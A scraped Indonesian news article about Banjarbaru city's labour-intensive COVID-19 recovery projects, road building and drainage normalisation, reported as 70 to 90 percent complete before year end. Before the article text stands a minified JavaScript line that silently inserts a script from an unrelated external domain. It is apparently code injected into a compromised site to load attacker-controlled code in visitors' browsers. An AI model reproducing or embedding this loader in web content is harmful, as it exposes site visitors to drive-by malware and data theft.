(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Sebelum Tutup Tahun Proyek Padat Karya Stimulus Ekonomi di Banjarbaru Rampung


KANALKALIMANTAN.COM, BANJARBARU – Program padat karya sebagai upaya Pemerintah Kota (Pemko) Banjarbaru memulihkan ekonomi masyarakat terdampak Covid-19, tengah dikebut penyelesaiannya jelang tutup tahun.

Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru mencatat progres pengerjaan proyek padat karya tengah mendekati masa rampung. Seperti halnya di Bidang Bina Marga, dimana proyek yang dikerjakan ialah pembangunan jalan dan pemasangan batu drainase.

“Ada 7 paket pengerjaan yang tersebar di beberapa kelurahan yang ada di Banjarbaru. Untuk progresnya pengerjaannya sudah mencapai 70 persen. Kita optimis bisa selesai sebelum pergantian tahun,” kata Kabid Bina Marga, Dinas PUPR Banjarbaru, Eka Yuliesda.

Di sisi lain, ada pula di bidang Cipta Karya, yang mana jenis proyeknya berupa normalisasi drainase lingkungan. Perkerjaan ini tersebar di 20 kelurahan se Kota Banjarbaru.

 

Kabid Cipta Karya Dinas PUPR Banjarbaru, Abdussamad, menyatakan bahwa progres seluruh pengerjaan telah mencapai 90 persen. Bahkan, ia juga memprediksi pengerjaan itu akan selesai dalam beberapa hari ke depan.

“Mungkin antara 2 sampai 3 hari ke depan, sudah selesai. Ya, ini masih sesuai dengan target waktu yang kita tetapkan,” terangnya.

Memang diakui Samad -akrab disapa, bahwa cuaca hujan yang melanda wilayah Banjarbaru dalam beberapa bulan terakhir, menjadi kendala dalam pengerjaan normalisasi drainase.

“Kendalanya memang saat cuaca hujan. Terkadang pengerjaan harus ditunda, kalau hujannya sangat lebat. Tapi kami pastikan ini akan segera selesai,” tandasnya.

Menyegarkan ingatan, mekanisme program padat karya sendiri ialah dengan menyerap tenaga kerja dari lingkungan masyarakat untuk terlibat dalam proyek atau kegiatan infrastruktur. Dalam hal ini, pemerintah bekerja sama dengan LPM (Lembaga Pemberdayaan Masyarakat) di setiap kelurahan se kota Banjarbaru.

Adapun seluruh proyek infrastruktur yang disiapkan Dinas PUPR adalah pengerjaan yang tergolong ringan dan bisa dikerjakan oleh tenaga manusia. Dengan begitu pula, ekonomi masyarakat yang sebelumnya terdampak, dapat pulih secara bertahap dengan kucuran gaji yang diberikan oleh pihak pemerintah. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie

 


Al Ghifari

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

2 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

2 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

3 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

3 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

7 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

9 jam ago

This website uses cookies.